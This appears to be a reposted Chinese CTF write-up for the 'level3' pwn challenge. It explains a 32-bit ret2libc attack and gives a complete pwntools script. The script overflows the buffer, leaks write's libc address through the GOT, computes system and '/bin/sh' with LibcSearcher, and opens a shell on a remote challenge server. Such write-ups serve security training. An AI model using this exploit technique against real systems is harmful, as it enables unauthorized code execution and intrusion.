标签:攻防 addr libc write p32 地址 level3 pwn 函数
一、linux环境下解压
libc_32.so.6是动态链接库。
查看一下保护
可以直接栈溢出;基地址不变化;对数据有执行权限。
二、逻辑程序分析
main函数
vulnerable_function()函数
无system,无binsh,明显为ret2libc
*ret2lib是一种利用缓存区溢出的代码复用漏洞,主要通过覆盖栈帧的返回地址(EIP),使其返回到系统中的库函数。
三、分析和编写脚本
lib内的地址是随机的,但是函数的相对地址是不变的,我们可以通过获取lib中和程序中的write函数地址来得知函数地址的偏移量,并利用lib中的system和binsh和偏移量求出真实的system和binsh函数地址,进而完成system(/bin/sh)
具体步骤:
(1)利用function()函数中的read函数构造溢出,复写返回地址为plt中的write函数地址
(2)通过write函数泄露函数read在内存中的绝对地址,并且接着调用function()函数
(3)计算system和binsh的绝对地址,构造system("/bin/sh")
exp如下:
from pwn import *
from LibcSearcher import *
z = remote('111.198.29.45',36758)
elf = ELF("./11")
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
z.recvuntil(":\n")
payload = 'a'*0x8C + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) +
p32(4)
z.send(payload)
write_addr = u32(z.recv(4))
libc = LibcSearcher('write',write_addr)
libc_addr = write_addr - libc.dump('write')
sys_addr = libc_addr + libc.dump('system')
binsh_addr = libc_addr + libc.dump('str_bin_sh')
z.recvuntil(":\n")
payload2 = 'a'*0x8C + p32(sys_addr) + p32(0) + p32(binsh_addr)
z.send(payload2)
z.interactive()
标签:攻防,addr,libc,write,p32,地址,level3,pwn,函数 来源: https://www.cnblogs.com/diaolan/p/13878518.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。